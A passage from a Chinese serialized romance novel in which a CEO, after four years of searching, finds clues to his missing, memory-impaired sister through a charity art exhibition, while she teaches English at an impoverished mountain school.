她计划得如此周密,怎么会放弃租下的这栋民宿?
妹妹一定会来的。
说不定现在还在来的路上。
陆礼一边在民宿住了下来,一边仍让人寻找时憬的下落。
三天过去,时憬没有出现。
十天过去…
半个月过去…
他在民宿守了整整两个月,都没有等到时憬的出现,警方也未找到任何时憬的目击信息,她就想真的消失一样——
陆礼在赶来春城时有多欣喜,在这两个月里,绝望就有多残忍的将他蚕食。
在陆礼回沙市不久后,童宛、父母陆续收到了时憬从曼城寄出来的信件,漂洋过海两个多月,送到三人手上。
唯独没有寄给陆礼的。
但他看到了三封信。
她和童宛说对不起,她自私的一声不吭就逃走了。
她和父亲、母亲说对不起,她不负责任的举动肯定让他们生气了。
她轻描淡写地写自己的病,也写她要再一次努力、好好的活下去,但这一次她想要躲起来、偷偷的自己努力。
她还写了,这辈子最幸运的事情是认识所有人。
而这些人里,没有陆礼。
她甚至吝啬于在信中提及他。
明明当初是他带她离开杭县的。
当初是她提出的跨过界限。
在写这些信的时候,时憬怎可能没有想到他?
那时候她是否对他失望了?又或是恨着他,所以才连信都不愿写给他。
陆礼却舍不得指责妹妹。
是他错了!
在这些年里,他对时憬的敷衍、不负责任、拒绝、瞻前顾后……最终将妹妹彻底推开!
自春城回来后,陆礼在白天高强度工作,甚至不让自己有一刻喘息,晚上收集各处反馈过来信息,他们不认识时憬,他生怕漏掉蛛丝马迹。
他清醒地压榨着自己的理智。
艾丽卡在时憬的屋中找到一笔现金。
租金、中介佣金、自驾行定金在加上曼城留下的现金,恰好对得上时憬支取的数额。而她所有的银行卡、信用卡都还在曼城的房间里,也就说她回国时,身上没带现金和卡,手机丢失后,她身上是身无分文的状态!
身无分文的妹妹能去哪儿?
甚至连沙市都无法离开!
陆礼不敢再想手机为什么会在河边被捡到,他砸钱雇人搜寻妹妹的下落,不计任何代价也要尽快找到妹妹!
持续了近一年后,他仍未找到妹妹的任**息。
连警方都开始猜测时憬在精神混乱的状态下,极有可能选择了极端行为,陆礼却不愿相信。
他的小舟一定还活着。
只是他弄丢了她而已。
一年找不到就两年,两年找不到就三年、四年……
他终会找到小舟的。
然后告诉她——
他亦深爱着她。
*
一转眼四年过去。
陆氏集团业务繁荣昌盛,隐隐有占据沙市企业第一把交椅的趋势,陆礼也因此更愈发忙碌,住在总部已经成了他的日常。
总裁玩命工作,秘书办的工作压力也随之水涨船高。
短短四年,黄林因压力肥胖了二十斤。
关键总部对他们这些高层管理人员还有外貌要求,什么啤酒肚、面包脸、大象腿是绝不能出现的,这会有损企业形象。
于是,黄林又抽空在午休时泡健身房。
这天他刚从总部健身房锻炼出来,神清气爽地换了身衣服后,打算上楼继续干活,就被分公司的宣传部堵住了,听完对方的问题后,素来好脾气的黄林差点忍不住骂了句脏话。
“我——cao……”黄林扶额,压着嗓子崩溃逼问:“明天下午有一场非常重要的招待会,你算老几啊!要让总裁推了去参加你们的公益画展?!疯了吧?!”
宣传部部长哭丧着脸,拉着黄林的胳膊求爷爷告奶奶。
黄林被磨得太阳穴突突地跳。
前脚刚把人打发,后脚就看见总裁回办公室,视线似乎还往他这边扫了眼。
黄林知道躲不过了。
他硬着头皮进去汇报。
陆礼拉开椅子,一手放下笔记本,打开电脑继续忙碌,甚至没有看黄林一眼,问:“什么事。”
语气冷漠,但也透着疲惫。
黄林整
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理了下话术才看向陆礼,这四年的光阴并在在他脸上留下太多印记,鬓发间生了不少银发,面容比从前更加清冷,眼瞳漆黑冷肃,高位者的压迫感油然而生。
简而言之,原来的总裁还有人味儿。
自从时憬小姐失踪后,总裁身上连人味儿都没了,冷的像是无情的工作机器,虽然集团蒸蒸日上,他们的待遇也随之提高,但总裁这种工作方式像是在透支着他的生命,看着黄林都觉得不安。
“没事就出去。”
黄林回神,将刚才分公司的事情如实汇报。
陆氏集团每年都会举办公益项目,由总部、底下各个分公司轮流承办,今年恰好轮到这家分公司,他们早早就将公益画展的项目报了上来,资金也批了下去。
按照惯例,需要总部高层下去在活动上露个面。
这几年总裁都参加了,但今年不巧,和一个重要招待会撞期了,黄林就拒绝了,让他们去邀其他管理层。结果分公司那边不知道搭错了什么神经,在上报人员时,还是把总裁给报上去了。
今年陆氏集团刚涉足新项目,正是媒体瞩目之际。
主流媒体及当地媒体自然不会错过这个采访机会,电视台甚至还主动搭桥引线,**也派了两个领导参加,这一来二去的,就变成了总裁不得不参加的局面。
陆礼听完,问:“时间。”
“公益画展是明天上午九点半,距招待会有十五分钟车程,招待会在十点。”
期间只有半个小时空余时间,路上还要占十五分钟,等于留给公益画展的时间只有十五分钟,十五分钟只够寒暄啊,哪来得及接受什么采访,哪来得及看什么画,哪来得及当什么评委选出获奖的画作啊!
如果只有**那边不派人,只有当地电视台的话,十五分钟勉强够了,现在时间明显是不够用啊!
十五分钟一到总裁拔腿就走?
这让**、媒体的人怎么想怎么写!
“明天安排司机八点从公司出发。”陆礼眉头都没有皱一下,“再通知分公司,明天老陆总也会去。”
黄林心头大石头一松。
总裁离开后有老陆总镇场子,这事就搞定了。
黄林出去后又是忙的脚不沾地。
陆礼看着屏幕上的财务报表,罕见的分了神,视线飘向办公桌上摆放的相框,照片是六年前圣诞节的家庭合照,当时他没赶上,妹妹就把他P在圣诞树上,她挽着母亲的胳膊,笑的阳光灿烂。
指腹抚过笑脸。
他似乎也被妹妹的笑容感染。
眼中的冷意稍退,目光变得温柔,一眼不眨的看着照片上的人。
他想起时憬也爱画画。
落地窗外天色阴沉、压抑,落入空荡的办公室中,滋生出无尽的孤独,笼罩着男人的背影,在地上越拉越长,疯魔的思念藏在阴影中挣扎,被脆弱的理智克制,离挣脱已岌岌可危。
四年了。
已经四年过去了。
第132章 四年后2
群山连绵起伏。
冬日的阳光淡薄,山间雾霭笼罩着高耸的青山,泥路因低温冻结。
在大山的山腰处有一块平地,是当地的一所小学,修葺着一栋二层小楼,上下共有八间教室,旁边紧挨一栋平层小屋,是教职工办公室、宿舍、仓库及食堂。
建筑墙壁斑驳,两壁爬着爬山虎。
铁门生锈,上面还贴着今年尚未来得及揭去的新春福字。
两栋建筑物的位置形成夹角,为水泥地的操场挡住山间瑟瑟寒风。
从二层小楼里传出朗朗读书声。
朝气蓬勃。
过了年后,天黑得渐渐晚了。
日落西山,放学铃声响起,一层小楼的三个班级门打开,冲出来一群小学生,或背着书包、或斜挎着书袋,两腿飞快地朝校门外跑去。
低年级的小朋友玩心重,一放学就冲去接着玩。
高年级的学生大多都赶着回家帮忙。
他们都是留守儿童,父母在外务工,留下年幼的孩子给老人照顾,穷人的孩子都早当家。
韩校长从办公室出来,站在校门口叮嘱:“慢点跑!回家路上都小心点——”
“王虎子——不准欺负女同学!”
“二丫!摔倒了自己爬起来!”
“唉唉!!你们几个干什么呢!”
没一会儿,操心命的韩校长就当起了各处判官,他叉着腰、故意板着脸镇住山里的皮猴子们。
等孩子们跑没影后,韩校长抬头看了眼二楼亮起灯的一间教室,那是栾山小学六年级教室,里面的学生还没有放学。
教室里,仅有6个六年级学生依次上台,与时憬进行口语练习,口语练习不拘泥于课本内容,有关生活、爱好、课外阅读、影视等等,也不严格要求语法,只要求学生肯张口。
口语训练结束后,时憬一周会教他们两首英文歌,每天带着他们逐字逐句练习,为了训练他们的语速和语感。
栾山地广人稀,村落分布不均匀,零零散散加起来不少人,所以当初能设立栾山小学,但初中只能去下边的县里去上,等上完这个学期,6个六年级学生就要去县里上学。
县里小学教学条件比栾山小学强太多,语文、数学靠着刷试卷多少能拉进些距离。
但历届送出的学生到了县里初中后,明显跟不上大家进度,甚至不敢开口说英语。
在时憬来了后,每天放学后专门腾出空,带着六年级生恶补英语,这种情况才有好转。
哪怕这个6个孩子,不一定在小学毕业后都能去县里上初中,但坚持下来的每一个孩子眼中都有求知的渴望,他们都清楚地知道,想要走出大山,只能靠拼命学习。
对上这样的一双双眼睛,时憬也咬牙坚持了三年,甚至在周末,只要有学生愿意来,她也愿意牺牲假期陪着练习。
只因为,这些孩子获取知识的机会太宝贵了。
栾山小学一共有58名学生。
1~2级年级21名学生。
3~4年级18名学生。
五年级15名学生。
到了六年级仅剩下6名学生。
这期间消失的学生,各有各家的原因,所以留下的每一个孩子,都珍惜着学习的机会。
面对残酷的生活,他们幻想着或许能用优秀的成绩撼动。
栾山小学只有六名职工,且各个身兼数职。
韩校长负责校务,郭老师负责行政,另有一名村里阿姨负责食堂及后勤,全年级语数英及其他复课由韩校长、郭&杨&赵&时负责,大家基本一天课都拉满,下班就是忙其他工作或者准备教案、出试卷。
非要说的话,时憬算是其中相对轻松点的老师。
她是四年前来的栾山,据白行说,四年前是她亲口要求白行带她离开,没过几天,她开始逐渐丧失在沙市的记忆,只记得自己在杭县长大。
白行把她带回老家,他需要打工挣钱,没办法照顾她。
正好栾山小学缺人。
一开始白行介绍她来这儿,是因为看她状态恢复得还不错,也想让她有个事情做。后来发现时憬英语很好,韩校长不舍得浪费人才,想了个办法让她以义工的身份留在学校,负责全年级英语教学任务,每个月给些费用。
钱实在不多,时憬的生活并不富裕。
……说不富裕还是好听的。
那是真的穷。
每一分钱都得算着花。
她还心软,常和两位女老师私下给学校里的女学生买生理用品,钱就更不经花了。
这应该算是时憬这几年最大的困扰。
精神富足,但穷得可怜。
她幽幽叹口气,结束今天的额外教学,目送学生离开后,才赶去食堂吃饭。
就着两菜一汤,年纪大些的三位老师累得连话都讲不动了,吃完后就抓紧时间回房休息,明天是难得周末,都靠着
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周末回血回状态。
时憬来得晚,郭老师吃得慢也顺道等她。
两人年纪相仿,都是女生,关系比其他三位老师稍微近些。
“明天就周六了,你家白行是不是又要来看你了?”
郭老师咬着筷子,胳膊肘轻轻拱了拱她,眼神要笑不笑的。
时憬呛了一口汤,脸颊通红、眼眸水润润的。
也不知道是害羞还是咳嗽咳出来的。
她轻轻嗯了声,夹菜吃饭。
郭老师还在继续:“听说县里的工厂年后都会发一笔奖金,你家白行寒假都在县里加班,肯定都攒着奖金给你买东西呢!”说着,她双手托腮,“白行长得帅、人靠谱、脚踏实地赚钱、底下弟弟妹妹都是大学生、家里父母双亡,简直是方圆百里的顶级配置!你们都交往一年了,白行还对你这么好,但凡厂里发点什么洗漱用品、四件套、衣服,都想着带上来给你,真让人羡慕啊!”
郭老师慷慨激昂。
时憬反应平淡。
她快速拨完碗里的最后一口米饭,笑了下,道:“职工宿舍太热了,白行年前说要在今年夏天前买台挂壁式空调装韩老师他们宿舍里,估计不会带什么上来了。”
白行热爱家乡,更感激当初愿意资助弟弟妹妹上学的韩校长,这些年不少给栾山小学捐赠东西。
而时憬说这事,只是希望转移郭老师的注意力,果不其然,郭老师还是畅想着有空调的夏天。
她松了口气。
白行对她很好,是那种倾尽自己能给出来全部的好都给了时憬,所以时憬被他坚持感动,一年前答应了与他交往。
但两人聚少离多,交往前后似乎并未发生太大改变,所以时憬还不习惯被郭老师这样打趣。
只能强行转移话题。
吃过晚饭后,时憬回房间洗漱、备课,准备睡觉前,收到了白一蕊发来的信息。
她是白行的妹妹。
目前正在沙市读大学。
只有寒假会回来过年,其他时间哪怕是放假都留在沙市兼职挣学费、生活费。
白一蕊很喜欢时憬,在得知哥哥终于追到时憬后都高兴地哭了。
白一蕊:【嫂子,你睡了没~~我有个事想和你说下下~】
白一蕊:【对手指.jpg】
时憬:【什么事呀?】
白一蕊:【过完年我不是拿你几张图,说要报名参加一个公益画展活动嘛】
第133章 她会和他步入婚姻
时憬才记起这件事。
今年白一蕊回大山里来过年,临走前从她那堆画栾山小学的画里拿了两张走,说要参加公益画展。
时憬:【嗯,有结果了么】
她打着哈欠敲字,困得眼皮都快粘上了。
白一蕊:【嫂子你的画进终选了!!!下周二展出,举办方会选出来前十名】
白一蕊:【嫂子你知道嘛!!!前十名奖金一万!!!第三名五万,第二名八万】
白一蕊:【第一名十万!!!】
白一蕊:【今天展厅那儿还在准备,但画差不多都摆出来了,我偷偷去看了眼,好多都没嫂子的好看!!!】
白一蕊:【前十名我们肯定有戏!!!】
时憬都快睡着了,被手中手机的嗡嗡声震醒,睁眼看见大量感叹号,接着就被一万、五万、八万、十万这递增式的金额惊醒。
一骨碌从床上坐起,重新读了遍。
时憬:【震惊.jpg】
白一蕊:【等周二出了结果立刻联系你!!像这种大企业举报的公益活动基本上当天或者隔天就会到账的】
时憬顿时也不觉得喉咙痛、头痛、腰酸、眼睛胀了,笑眯眯地回:
【老样子,你二我八】
白一蕊:【扑倒.jpg】
白一蕊:【嫂子!!!我好爱你!!!】
时憬看着对面发来的各种可爱表情包,弯眼笑了下。
白一蕊:【这事还是要对我哥保密哦!上次被他知道我拿你的画去卖钱把我骂得半死】
白一蕊:【哭唧唧.jpg】
时憬:【咱们偷偷赚小钱,不告诉你哥】
时憬:【嘴巴拉拉链.jpg】
摁灭屏幕,时憬冷得哆嗦了下,重新钻进被窝里。
山里的傍晚异常湿冷,单人宿舍虽然小,但房屋不聚暖,时憬也不敢整夜开取暖器,一是电费贵,二是学校电压不稳,晚上老师们用电器多,容易跳闸。
平时基本靠热水袋入睡。
生活拮据带来的苦难还体现在她的身上。
第一年冬天不适应大山里的气候,她手上就长了冻疮,睡觉时手上又痒又肿,之后年年复发。
从时憬进栾山小学后,白一蕊拿她的画参加些公益活动,有获奖的也有落选的,和白一蕊二八分成,投稿也都是以白一蕊的名义。
这些钱不多,时憬大多也都用在栾山小学里,偶尔给自己买点生活用品。
去年过年时,这件事不知怎的就被白行看出来了,白行第一次对白一蕊发那么大的火。
时憬猜可能是白行误以为一蕊不劳而获?
她向白行解释,搜集信息、投稿要求、报名参加都是一蕊出力的,而且这件事也是她同意的,但白行仍没有消气,甚至私底下禁止一蕊再这么做。
时憬能接受大山里忙碌的生活、贫瘠的环境,但她无法接受自己的邋遢,她需要这笔钱。
最开始的时候,她的生活用品都是白行买的,用了后常会过敏,但她把工资大部分都贴给孩子们,余下的钱一个月一个月地攒起来,只够买贵一些的护肤品小样,要十分节省着用。
或许是她以前的生活条件很好?
但时憬记得小时候家里生活并不好,家里民宿赚的钱都用来还债了,妈妈车祸过世后,她的生活条件更应该一落千丈才对,怎么能支持她用得起上千的护肤品?她失去了很多记忆,白行也说对她的过去不太了解,两人只是见过几面的朋友。
时憬直接说,她需要这笔钱用来买不会让她过敏的护肤品,不是小样,也不用每天精打细算。
白行站着愣了很久。
那一刻他的情绪复杂到时憬看不懂。
他没有拒绝,也没有说什么,时憬和白一蕊开始瞒着他。
但自那之后,白行在每年两次购物节促销活动,都会买回来她常用的护肤品,一次可能他只买得起一件,但他说,一次次下来,他肯定能都买回来,也会努力让她过得越来越好。
时憬答应了。
白行激动地抱起她转圈,笑声洒满栾山小学。
开始交往后,白行也愈发拼命挣钱。他攒钱考了驾照,还在攒钱想要买车。时憬不记得任何证件信息,没法坐飞机高铁,买了车后才能带她出门散散心。
他还想要攒钱在县里买房子,这样寒暑假时,时憬不用住在冬冷夏热蚊子又多的校舍。
他用心、认真地规划着二人的未来,他所有的计划里都有时憬的身影,他想给她更好的生活。
夜深人静时,时憬也会想,日子会这么一直活下去,她应该会和白行结婚,因为她想要继续这平淡、拮据,但充实的生活。
第二天是周六,无课,时憬关了闹钟,睡到自然醒。
醒来后也发懒不愿意起,躲在被窝里玩消消乐,享受难得不用急急忙忙的悠闲时刻。
刚通了五关,听见外面好像是白行的声音。
他没说这周要回来呀。
时憬哆哆嗦嗦的起床,裹了外套走到窗前,拉开一道缝隙,见白行正蹲在操场上和韩校长一起修打印机。
她偷偷缩回去,想穿好衣服出去后吓他一跳,结果先被白行瞧见,就见他和韩校长说了句话,韩校长笑呵呵地摆了摆手,白行快步朝时憬窗前走来。
时憬这会儿也不好缩回去。
白行个头高,这里面都在工厂干体力活,身板比四年前结实很多,五官清朗,眉眼间也多了生活磨砺后的稳重。
但这会儿站在时憬面前,笑得无比灿烂,什么稳重、可靠通通都飞走了。
“今天不用上课,怎么不再睡会儿?是不是我们吵醒你了?戴上耳塞回去再睡会儿吧。早饭带了县城里你爱吃的那家薄皮小笼包,都放在食堂的保温箱里了。哦还有——”
“白行。”
时憬无奈地笑着,“你想让我回去睡回笼觉还是想和我说话呀?”
白行的脸腾地一下红了。
“你睡,快去睡吧,”他结巴了下,手指了下韩校长那儿,“我继续去修打印机。”
时憬笑盈盈地点头。
然后伸手拉上窗户。
她的确还想继续睡个回笼觉,但迟迟没听到窗外离开的脚步声响起,叹了口气,穿好衣服拿上洗漱用品出门。
两个人都忙于生活。
只有在白行上来的周末,才多些相处的时间。
她想,白行已经很努力了,她也应该努力些,这样的恋爱关系才是比较健康的吧。
不过,今天的运气不大好。
时憬洗漱时,白行在修打印机。
时憬吃早饭时,白行还在修打印机。
时憬洗衣服收拾房间时,白行还在修打印机。<
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br>时憬开始跳操锻炼时,白行正式宣告打印机得送去下面县里的店里维修,维修店只有白行知道具体位置,打印机明天要用,但白行明天要替同事加班,上山下山一趟就得六个小时,这会儿已将近中午了,他和韩校长吃了午饭就要出发下山。
两人到现在为止还没单独相处,话也才说了两句,白行飞快吃完饭,拎着带来东西往时憬宿舍走去。
韩校长有些抱歉地看她,“小时啊,没想到今天还耽误你们了。”
时憬笑了下说没事,夹了点菜端回房间去吃。
开门就看见白行正从两个背包里往外掏东西,有卷纸抽纸卫生巾这些生活用品,也有泡面、香肠、果干、瓜子这些零嘴。
时憬干脆放下饭盒,看着他像哆啦A梦一样一件件摆满她的书桌。
白行的工厂福利待遇还不错,允许员工把没吃的工作餐餐费折现去小超市刷东西。
他吃饭吃得省,上夜班时凌晨那顿不吃,每个月下来攒着去小卖部刷东西带上来给时憬。
时憬劝了很多次,他依旧如此。
时憬:“还有吗?”
白行闷声说句有,拿出来一件天蓝色摇粒绒外套。
时憬没看见上面有他们工厂的logo,猜到是他另外买的,柔声道:“过年你才给了件工厂发的羽绒服,我有衣服穿的。”
白行把衣服挂在桌前的椅子上,“我听同事说,这衣服穿在羽绒服里面比羊毛衫还要暖和,山上倒春寒早晚冷得很,你得穿得暖和些。”白行又补了句,“这衣服好多女同事都买了,打折价便宜的,我已经给你洗过了,能直接穿的。”
他望着时憬的眼神真挚滚烫。
这样的善意,时憬都无法拒绝,她开口,语气有些硬邦邦的,“你过来点。”
白行局促不安地靠近,试探问:“时憬,你是不是生气了?我下次不——”
后面的话僵在喉咙口。
柔软的、带着好闻香气的身躯扑入怀中,拥抱着他的身体,这一瞬间,白行想到的是太好了,她没有生气,紧接着就是担心自己早上急着上山出了一身的汗,是不是会有臭汗味?刚才修打印机还沾上了灰,她会不会嫌弃?
“我也很久没下山了,等会儿我和你们一起下去,下午你带我逛逛县城好不好?”
所有担心全部抛之脑后。
他激动地抱紧女友,“好。”
“…嗳。”
“怎么了?”
“你勒得我腰快断了。”
“对不起对不起!”
不和谐的气氛过去后,时憬坐着吃饭,白行收拾一桌的东西,等她吃完,又拿着饭盒洗了送回食堂。
下午下山时,韩校长骑摩托车在前面,白行骑着校长的自行车载着时憬在后面,这样下山更省时间。
时憬抱着他的腰,轻轻戳了下他:“白行?”
白行回一半头,“是不是颠得疼了?过了前面拐弯,我脱衣服给你再垫垫。”
时憬:“衣服真的很暖和,我晒着太阳都快出汗啦。”
白行脸上笑容绽放,脚下发力,努力藏起自己的一点小心思,说道:“抱紧坐稳了!我要加速喽!!”
下坡的山路,颠簸却又自由。
时憬忍不住松开一半手,想要拥抱吹来的风,也忍不住因为这份刺激叫出声来。
第134章 ‘画者 白一蕊’
这一天,白行和时憬像所有情侣一样。
他们拖着手逛街。
他们买一份食物彼此分享。
他们因一个无聊的话题笑得停不下来。
这些细小却幸福的点滴充盈着时憬的心脏,她甚至开始幻想着一年后、三年后、五年后……更或者是将来一家三口、一家四口的日子。
……但在这些平凡的幸福到来之前,她要取回自己的信息,不然她没办法与白行结婚,没办法生下孩子。
想到这儿,她脸上的笑容迟疑了下。
“时憬,是不是冷了?”白行担心的询问,甚至打算脱下外套披在她身上。
时憬摇了下头,握着他的手用了些力气。
白行担忧更甚,他紧紧看着时憬,“怎么了吗?”
或许是因担心,他的语气听上去有些僵硬,眼底闪过一抹不安,快到时憬以为是自己看错了。
“没事。”她扬起微笑,“我们走吧,校长该等我们了。”
这些事情等到了那一日再说吧。
她满足于现在的生活,这就足够了。
或许,在未来的某一天她也会想起自己的过去,和那些被她遗忘的信息。
距白行上夜班还有些时间,他载着时憬送到山脚。
韩校长给小年轻独处的空间,骑着摩托车先出发,在前面两个路口等时憬。
白行叮嘱她骑车小心。又说天黑上山危险,真的不考虑在县城住一晚,等他夜班下了班再送她回栾山小学。
“夜班下班送我?”时憬叉腰,眉毛一挑:“你是不要命了吗?早知道你今天上夜班,白天我都不会准你上山的。”
白行却因她的这番话笑了。
时憬:?
白行握住她两只手,垂下目光,耳廓泛红,“被女朋友放在心上的感觉真好。”
时憬不知怎的脸也红了。
两人手握着手,却又有些不好意思看对方。
过了好一会儿后,时憬才抽回手,“我真的要走了。”
“好。”白行退开半步,目光温柔的看她。
时憬摆了摆手,蹬车出发。
冬天傍晚的风凉飕飕的,吹起她压在针织帽边沿的头发,她直起身回头看,朝白行挥手:“拜拜!!”
白行也用力挥手。
时憬忍不住笑了声,他们这样好像有些傻,是不是所有恋爱的情侣都会做这样傻里傻气的事情?
被温柔裹着的心脏,在胸腔急促的跳动。
她用力蹬着自行车,努力赶上前面的韩校长。
此时的时憬还不知道,这份平凡的幸福在未来将会经历些什么。
*
陆氏集团举办的公益画展活动如期举行。
媒体、政府人员、陆氏集团**一堂,现场陈列着进入终选的近一百张画。
也是陆氏集团财大气粗,在公益活动上舍得下本,租到了会展中心,否则这些画作还不一定都能展出来。而在今天画展评选结束后,将会进行为期一周的展出,届时普通民众只要预约都能来参观。
能进入终选的画作都是有些水平,或有些巧思。
但能否在公益画展夺得头筹,还得看画者画出来的内容不感人,有没有温度,而不是一味炫技。
陆氏董事长、陆氏总裁前后抵达会展现场,简单接受媒体采访后,陆礼与政府方寒暄几句,就进入展会现场,打算走一圈粗看遍所有画作。
黄林紧跟着。
一边抬腕看时间。
很好,只剩下五分钟了。
不过今天路况很好,不堵车,超时几分钟能在车程上找回来。
他一心三用,拿手机给司机发消息在门口等着,结果一个分神,走在前面的总裁不知道什么时候停了下来,他差点迎头撞上去,黄林连忙后退一步,还没站稳,就看见总裁竟也后退一步,黄林一边退一边顺着老板的方向看去。
是一张参选的画作。
彩铅绘制。
用的画纸也很粗糙。
这张在黄林眼中画的还不错、朝气蓬勃的画,却险些让陆礼失态。
他几乎是屏息着去看这画。
眼前画的是小学课间休息的操场,阳光温暖,破旧的操场上有玩绳、有玩老鹰捉小鸡的小学生,也有坐在台阶上,捧着书认真在看的小朋友。
画上的一张张脸故意画的模糊,但即便是模糊,也能让人感受到这些孩子们的纯真、快乐。
哪怕他们身上的衣服破旧,哪怕远处校舍破旧,但阳光下的操场上都是明媚的希望。
但真正让陆礼驻足的是这幅画的画风。
与妹妹的何其相似!
同样的彩铅画,同样画着温暖的一幕。
哪怕在她接受治疗期间,她的每一张画都如此温暖,从不见阴霾、灰暗,正如她热爱着这个世界,正如单纯而温柔的妹妹。
陆礼听见心脏剧烈的跳动声。
视线随之下滑。
看向投稿人名字。
【沙市大学教育系白一蕊】<
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br>……不是妹妹。
可还未等他又一次绝望时,视线猛地再度上移,定在白一蕊的这个名字上。
白?
陆礼在这张画作前驻足许久,自然引来画展承办方的注意,负责人立刻上前,看见上面还算熟悉的名字时,先自我介绍后,接着才真心夸赞道:“这位白一蕊女基本功很扎实,有一套自己的色彩审美,画出来东西显得很有温度,画面传神,也很会将故事。这几年她的画都是围绕大山、公益小学、山村生活这方面,这张画显然比之前的更有灵气了,一点也看不出是个还在上大学的女同学。”
负责人内心暗暗记下,这张画高低得进前三名了。
陆礼甚至没有移开视线,“你说这是一位大学生画的?”
负责人显然对白一蕊有些印象,连忙道:“是的,陆总。这位白同学也是从大山里走出来的孩子,似乎家里条件也一般,这两三年参加了大大小小不少画展。”
话音落,旁边站着的黄林再也忍不住了,冒着挨骂的风险,轻声提醒:“老板,时间到了。”
陆礼收回视线,淡声道:“今天评选结束,这张画送到我办公室。”
负责人愣住。
黄林反应快先应下。
陆礼从会展中心后门离开,虽然已经和媒体、政府方打过招呼了,但他从正门离开极有可能被其他媒体缠上,到时候难脱身。
黄林上车后立刻确认车程、招待会那边的进度,并未注意到老板的异样,后排的隔板升起时,他以为老板只是有些累了,想要闭目休息会儿。
陆礼打开手机,查到五年前黄林发来的调查信息。
险些欺骗妹妹的那个**姓白,叫白行,有一对弟弟妹妹,当时都在上高中,五年过去,他们的确是该上大学了。
哪怕只是这些细枝末节的信息,也险些让陆礼失态。
男人握着手机的手控制不住的颤栗。
这四年他尝过无数次希望过后无尽的绝望,那种滋味让他痛不欲生,哪怕用工作麻痹自己也无用,只要一闭眼,他就会梦见妹妹陷在困境中向他求救。
而现在——
希望又一次出现在他面前。
这一次会是妹妹么?
他已经找了她太久太久。
如有神佛,希望能庇护妹妹的平安。
他愿意付出一切。
只希望妹妹健康的活着,等着他接妹妹回家,回到任何人也不会再伤害妹妹的家。
第135章 时憬还活着!
招待会顺利结束,陆礼借口公务繁忙推了之后的酒局,如今陆氏集团的分量,他拒绝酒局无人敢有意见。
直到这会儿,黄林才察觉到总裁的异样。在回去的车上,他还接到了新的任务。
调查白一蕊、白行调这对兄妹四年间所有的动向,调查报告明天之前必须要提交给他——
1、两个人四年的信息。
2、明天之前必须提交。
这两项加在一起根本就是不可能完成的工作!总裁这四年虽然是工作狂,但从没这么压榨过底下员工。
黄林露出淡淡的死气沉沉的微笑,能让总裁这么疯的人,黄林只知道一位,那就是在国外‘休养’了四年,实际失踪的时憬时小姐。
这一次,他真心希望能真的找到时憬小姐,毕竟回来后老板能重新变回人,而不是疯狂工作的机器(微笑)。
这件事黄林一个人肯定办不完,总裁给的时间太短了,他转头拉上佟律师,一人发挥钞能力,一人利用关系网,一起埋头苦干。
*
陆礼进办公室,快步朝办公桌走去,白一蕊的那张画已经摆在他的桌上。
妹妹所有的画都被他收藏在书房,深夜惊醒时,他便把自己关在书房,一张一张看过她的画,坚定地告知自己妹妹肯定还活着。
每一张画他闭眼都能记起。
所以今天才会停在这张画前。
他触手可及粗劣画纸上的彩铅画迹。弯下腰,想要从中找到关于妹妹的蛛丝马迹,比如相似的色彩搭配,又比如相似的笔迹……
目光落在画上,思绪却未停。
这幅画如果真的是时憬画的,为什么会用白一蕊的名字参展?如果说妹妹真的想要躲开他,又怎么会参加陆氏集团的公益画展?
这四年里到底发生了什么事?
陆礼按下焦躁,翻过这张画纸,视线落在右下角,果真发现有淡淡的印记,像是被橡皮擦去了痕迹。
在呼之欲出的真相面前,陆礼奇异地镇定下来,他让秘书送进来一支铅笔,轻轻在右下角涂抹,直至被擦去的印记显露出来。
【时憬】
再下面则写着去年年底的日期。
是妹妹的名字。
更是妹妹的字迹。
陆礼看着这两个印记,心脏强烈跳动着,周身血液滚烫,他甚至眼前短暂晕眩,扔不舍得移开视线,怕眨眼后自己又要从梦中醒来。
眼瞳干涩、刺痛。
不是梦。
是她。
是他的小舟。
她只是躲起来了,却仍活着。
不是他的自欺欺人。
他终于抬手捂住眼睛,呼吸声异样沉重。
时憬——
还活着!
*
白一蕊惦记着公益画展的评选结果,哪怕在图书馆学习,也频频分神看向手机屏幕。
她今年已经大三了。
与还在上大二的弟弟白源不同,她已经决定了自己的出路,打算继续考研读下去,只有获取更高的学历,她将来才能比同龄人获得更多的就业机会。
但考研所需的费用她必须要自己承担。
哥哥现在有了女朋友,她已经不能问哥哥伸手要钱了。
所以,白一蕊内心期盼着时憬的画能杀入前三名。
分了会儿神,屏幕忽然亮起。
呼入的号码是沙市当地的。
白一蕊暗念一声来了,接通电话,手拢在嘴边,压低声:“您好?”
“请问是白一蕊小姐么?”
对面男声温润和煦,措辞礼貌。
“我是。”
“不好意思打扰了,我是陆氏集团的工作人员,鄙姓黄。这通电话是想通知**,您的画作在集团公益画展中拔得头筹,荣获一等奖,请您及时提供账户信息,集团财务人员将在一个工作日内向您提供的账号汇款。”
白一蕊听着听着,惊讶的嘴巴都快合不拢了。
惹得对面室友频频看她。
“好的好的,谢谢您的通知。”
“此外,还有一事想与您确认——”
接着,白一蕊听到了件更让人惊喜的事情:
陆氏集团打算私人资助栾山小学,但为了确认栾山小学信息真实信,想当面咨询她。
白一蕊虽然高兴,但也多了个心眼,把碰面地点定在学校附近的一家咖啡馆。
对方欣然应允,约定第二天12点碰面。
因为资助的事情还没定下来,白一蕊也没将这件事告诉任何人,而且哪怕定下来了,对方打算怎么资助、要不要实地考察等等,都需要协商的。
到了次日中午,白一蕊提前十五分钟进入咖啡店。
这会儿是午休的时间,店里的学生不少,她扫了圈竟没找到空位置,打算去外面等会儿时,只见一位西装男士站起身,朝她的方向抬了下手,“**。”
白一蕊过去,“不好意思,是…黄先生么?”
“是,**请坐。”
白一蕊说了声谢谢后才坐下。
对面的男士在冬天还能维持修身体面的西装三件套,西装裁剪合身,布料质地看着极好,不像是普通男装店里买得到的。而且这位黄先生虽然是一副高端商务人士打扮,但容貌和善,脸上笑意温柔,见面后,白一蕊的戒备归零。
不过最主要还是,她的账户在一个小时前入账十万。
汇款方是陆氏集团对公账户。
白一蕊十分配合的回答黄林的问题。
就栾山小学情况问了个大概后,黄林提起关于画的一个问题,“是这样的,我们今天打算将**的画送去装裱时,却发现画背面下角有一个签名笔迹——”
签名笔迹?
白一蕊脑袋一瞬间空白。
难道送去公益画展的这张没擦?
不,她记得每一张送出去的画都擦了的!
哪怕白一蕊迅速镇定下来,在尚在**塔里的学子在黄林面前,所有的掩饰都如此稚嫩。
黄林微笑了下,语气仍旧温和:“所以我想和**确认一件事,您报名送来的画作是否是您亲手所画?”
白一蕊放在桌子下的手指猛地攥紧。
“是、当然是……”
